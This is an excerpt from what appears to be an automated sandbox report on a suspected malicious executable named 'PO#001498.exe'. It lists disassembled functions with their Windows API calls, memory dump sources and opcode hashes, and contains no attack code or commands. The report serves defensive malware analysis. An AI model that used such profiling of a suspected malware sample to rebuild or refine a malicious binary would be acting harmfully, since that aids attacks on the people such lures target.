                                                                                                                                                                                • Opcode ID: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                                • Instruction ID: 8c652321442b38080740e7d333ba663a52d3460857ef2618669649d87ea194c0
                                                                                                                                                                                • Opcode Fuzzy Hash: 1d720b0393062126ad9b64f1bf0a3b497d62ac8a089cd0237a290436ac7c4432
                                                                                                                                                                                • Instruction Fuzzy Hash: 7B2150B2208300ABD314CB65D854EABB7EDEBCD754F084E1DF989A3250C7B4E901CB25
                                                                                                                                                                                Function 0041415E Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ___set_flsgetvalue.LIBCMT ref: 0041418F
                                                                                                                                                                                • __calloc_crt.LIBCMT ref: 0041419B
                                                                                                                                                                                • __getptd.LIBCMT ref: 004141A8
                                                                                                                                                                                • CreateThread.KERNEL32(?,?,004140DB,00000000,?,?), ref: 004141DF
                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 004141E9
                                                                                                                                                                                • __dosmaperr.LIBCMT ref: 00414201
                                                                                                                                                                                  • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                                  • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1803633139-0
                                                                                                                                                                                • Opcode ID: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                                                • Instruction ID: ec3febacf030228bba34671a5a373aa86179f0c9a00f1e1343e4adce14cbcb36
                                                                                                                                                                                • Opcode Fuzzy Hash: 9093ead1b57094de5194e295d789e60ec266b8318c1e976fb280fb1b07ce6f9a
                                                                                                                                                                                • Instruction Fuzzy Hash: 1311DD72504209BFCB10AFA5DC828DF7BA8EF44368B20446EF50193151EB39C9C18A68
                                                                                                                                                                                Function 004555E0 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • ImageList_Destroy.COMCTL32(?), ref: 004555E8
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Destroy$DeleteObjectWindow$IconImageList_
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3275902921-0
                                                                                                                                                                                • Opcode ID: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                                • Instruction ID: 9e206caaed87a4944845468030bda76e3f946505fe2e652cce1cc100bc4c7c20
                                                                                                                                                                                • Opcode Fuzzy Hash: 9bb8e3ba902fb320eab333f0308ec6d2a7ed81620e332b79689394e938adb37d
                                                                                                                                                                                • Instruction Fuzzy Hash: BE2141702006409FCB25DF25C994A2B77A9FF44312F80856EED49CB352DB39EC4ACB59
                                                                                                                                                                                Function 004554C0 Relevance: 9.1, APIs: 6, Instructions: 61windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • SendMessageW.USER32 ref: 004554DF
                                                                                                                                                                                • SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004554FA
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: DeleteDestroyMessageObjectSend$IconWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3691411573-0
                                                                                                                                                                                • Opcode ID: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                                                • Instruction ID: ead105b7aa3a144aa2df3f4c31681f961a0d6b706109639263d1a652a664e8ec
                                                                                                                                                                                • Opcode Fuzzy Hash: ffc9a8f4f75f6e2ff6fdc7cc9300f0c908ecc9e004d580c3573be367ed75df53
                                                                                                                                                                                • Instruction Fuzzy Hash: A5118F713046419BDB10DF68DD88A2A77A8FB58322F404A2AFE14DB2D1D775DC498B68
                                                                                                                                                                                Function 0043609C Relevance: 9.1, APIs: 6, Instructions: 59COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcslen$_wcstok$ExtentPoint32Text
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1814673581-0
                                                                                                                                                                                • Opcode ID: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                                • Instruction ID: 25d714350c6a951fb861184d208c8546153e966ae5ec0a2422e5c8358eb53325
                                                                                                                                                                                • Opcode Fuzzy Hash: cf50433860b5c5ee623566781d9083cc0ce59c581d7d4fe1355e753f7016059c
                                                                                                                                                                                • Instruction Fuzzy Hash: F60125B19053126BC6209F95DC42B5BB7E8EF45760F11842AFD04E3340D7F8E84483EA
                                                                                                                                                                                Function 00436272 Relevance: 9.1, APIs: 6, Instructions: 59sleepCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362A7
                                                                                                                                                                                • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362B2
                                                                                                                                                                                • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362BA
                                                                                                                                                                                • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 004362C5
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2833360925-0
                                                                                                                                                                                • Opcode ID: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                                • Instruction ID: c21ea81f2c38402705b15ef58ab4919efdb6e4f3ef0ac894e378511a69de5cf2
                                                                                                                                                                                • Opcode Fuzzy Hash: ce9720f61a9ee9538873cf1403cb39b7711a51cb3deac7b7aa4b9b4cf2db8b86
                                                                                                                                                                                • Instruction Fuzzy Hash: C411D031909306ABC700EF19DA8499FB7E4FFCCB11F828D2DF98592210D734C9498B96
                                                                                                                                                                                Function 004471EC Relevance: 9.0, APIs: 6, Instructions: 50COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 0044721F
                                                                                                                                                                                • LineTo.GDI32(?,?,?), ref: 00447227
                                                                                                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 00447235
                                                                                                                                                                                • LineTo.GDI32(?,?,?), ref: 0044723D
                                                                                                                                                                                • EndPath.GDI32(?), ref: 0044724E
                                                                                                                                                                                • StrokePath.GDI32(?), ref: 0044725C
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 372113273-0
                                                                                                                                                                                • Opcode ID: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                                • Instruction ID: cf4011081099dc8586e946db52605055ec0608de7db987eb6b7af15cf0be2a5d
                                                                                                                                                                                • Opcode Fuzzy Hash: 902a14e142be2de25a3bb197ce65ea465fb84dbb313772e519df98722d37df37
                                                                                                                                                                                • Instruction Fuzzy Hash: B7018F36105264BBE2119750EC4AF9FBBACEF8A710F14451DF70156191C7F42A0587BD
                                                                                                                                                                                Function 00410940 Relevance: 9.0, APIs: 6, Instructions: 49keyboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • MapVirtualKeyW.USER32(0000005B,00000000), ref: 0041098F
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000010,00000000), ref: 00410997
                                                                                                                                                                                • MapVirtualKeyW.USER32(000000A0,00000000), ref: 004109A2
                                                                                                                                                                                • MapVirtualKeyW.USER32(000000A1,00000000), ref: 004109AD
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000011,00000000), ref: 004109B5
                                                                                                                                                                                • MapVirtualKeyW.USER32(00000012,00000000), ref: 004109BD
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Virtual
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 4278518827-0
                                                                                                                                                                                • Opcode ID: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                                • Instruction ID: 14dd698fb88c41d3cb2937c08abaa7ad6cdafd80764dd657d9f2199fb51feb0a
                                                                                                                                                                                • Opcode Fuzzy Hash: 067efc0be0420d5e011611900d1cbcbd564411b72165316cb005851f0732894c
                                                                                                                                                                                • Instruction Fuzzy Hash: 52112A6118ABC4ADD3329F694854A87FFE45FB6304F484A8ED1D607A43C195A60CCBBA
                                                                                                                                                                                Function 0044CBD3 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetDC.USER32(00000000), ref: 0044CBEF
                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC00
                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC09
                                                                                                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 0044CC10
                                                                                                                                                                                • MulDiv.KERNEL32(000009EC,?,?), ref: 0044CC29
                                                                                                                                                                                • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0044CC37
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CapsDevice$Release
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1035833867-0
                                                                                                                                                                                • Opcode ID: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                                • Instruction ID: 50bf861fd692b93b916a63282857a41227f0dfa19545bc4f0a59f576ae553c11
                                                                                                                                                                                • Opcode Fuzzy Hash: ae25b50e6df40ac1760f249dbc4ceec79d7598f555d49c24eefaf783d5b8ff63
                                                                                                                                                                                • Instruction Fuzzy Hash: 560184B1641314BFF6009BA1DC4AF1BBB9CEF55755F01842EFF44A7241D6B098008BA9
                                                                                                                                                                                Function 0044B64F Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • InterlockedExchange.KERNEL32(0042A369,057401F8), ref: 0044B66E
                                                                                                                                                                                • EnterCriticalSection.KERNEL32(0042A321), ref: 0044B67B
                                                                                                                                                                                • TerminateThread.KERNEL32(?,000001F6), ref: 0044B689
                                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B697
                                                                                                                                                                                  • Part of subcall function 004356CD: CloseHandle.KERNEL32(00000000,0042A365,0044B6A3,0042A365,?,000003E8,?,000001F6), ref: 004356D9
                                                                                                                                                                                • InterlockedExchange.KERNEL32(0042A369,000001F6), ref: 0044B6AC
                                                                                                                                                                                • LeaveCriticalSection.KERNEL32(0042A321), ref: 0044B6AF
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 3495660284-0
                                                                                                                                                                                • Opcode ID: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                                • Instruction ID: 3e278a896620ffa5fdfd5bcc44ba61fc9bc9ab212b345b13b81bb6ec37c91fca
                                                                                                                                                                                • Opcode Fuzzy Hash: 7ab0c325316775d38e8d9aa2ca09049d0c02a968ddf60f226b23d446a35990e5
                                                                                                                                                                                • Instruction Fuzzy Hash: E3F0F672141206BBD210AB24EE89DBFB37CFF44315F41096AF60142550CB75F811CBBA
                                                                                                                                                                                Function 00437118 Relevance: 9.0, APIs: 6, Instructions: 37windowtimethreadCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00437127
                                                                                                                                                                                • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00437140
                                                                                                                                                                                • GetWindowThreadProcessId.USER32(?,?), ref: 00437150
                                                                                                                                                                                • OpenProcess.KERNEL32(001F0FFF,00000000,?), ref: 00437162
                                                                                                                                                                                • TerminateProcess.KERNEL32(00000000,00000000), ref: 0043716D
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000), ref: 00437174
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 839392675-0
                                                                                                                                                                                • Opcode ID: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                                • Instruction ID: 38550948ec006cf47bed7574f40cc63f5aae242ba43c895826076912260f23cd
                                                                                                                                                                                • Opcode Fuzzy Hash: 9671eea5464782d863345c1ba519a7d6af1158a8c6613e6f42f5b6706bbe0782
                                                                                                                                                                                • Instruction Fuzzy Hash: 37F054352813117BE6215B109E4EFEF37A8AF49F02F104828FB41B51D0E7E469458BAE
                                                                                                                                                                                Function 0043604B Relevance: 9.0, APIs: 6, Instructions: 33serviceCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • OpenSCManagerW.ADVAPI32(00000000,00000000,00000008,004A8E80,BC000000,00431B28,C:\Users\user\Desktop\PO#001498.exe,00000004), ref: 00436055
                                                                                                                                                                                • LockServiceDatabase.ADVAPI32(00000000), ref: 00436062
                                                                                                                                                                                • UnlockServiceDatabase.ADVAPI32(00000000), ref: 0043606D
                                                                                                                                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00436076
                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00436081
                                                                                                                                                                                • CloseServiceHandle.ADVAPI32(00000000), ref: 00436091
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Service$CloseDatabaseHandle$ErrorLastLockManagerOpenUnlock
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1690418490-0
                                                                                                                                                                                • Opcode ID: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                                • Instruction ID: 156e5f382d75df54ba3c5c30185d6bb62b1a9e6e0194ec4ef6b9e4a62dbea0b3
                                                                                                                                                                                • Opcode Fuzzy Hash: 49e5e78db470eb3b31ed20f2670ed0ea18d225c835d46e40371f5509899a8be7
                                                                                                                                                                                • Instruction Fuzzy Hash: 9BE0E5319821216BC6231B30AE4DBCF3B99DB1F311F041827F701D2250CB998404DBA8
                                                                                                                                                                                Function 00475ACA Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 237comCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                                • CoInitialize.OLE32(00000000), ref: 00475B71
                                                                                                                                                                                • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 00475B8A
                                                                                                                                                                                • CoUninitialize.OLE32 ref: 00475D71
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                                • String ID: .lnk$HH
                                                                                                                                                                                • API String ID: 886957087-3121654589
                                                                                                                                                                                • Opcode ID: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                                • Instruction ID: f4d7caca580305710a2a5ca379fd8543151c5613ecc12b631d1ff665410dc3a0
                                                                                                                                                                                • Opcode Fuzzy Hash: 75a96ccae25093af7e6917375c938c281093df7f6cda4de25b1c017a61ab28fd
                                                                                                                                                                                • Instruction Fuzzy Hash: B0819D75604300AFD310EF65CC82F5AB3A9EF88704F50892DF658AF2D2D6B5E905CB99
                                                                                                                                                                                Function 0045F132 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
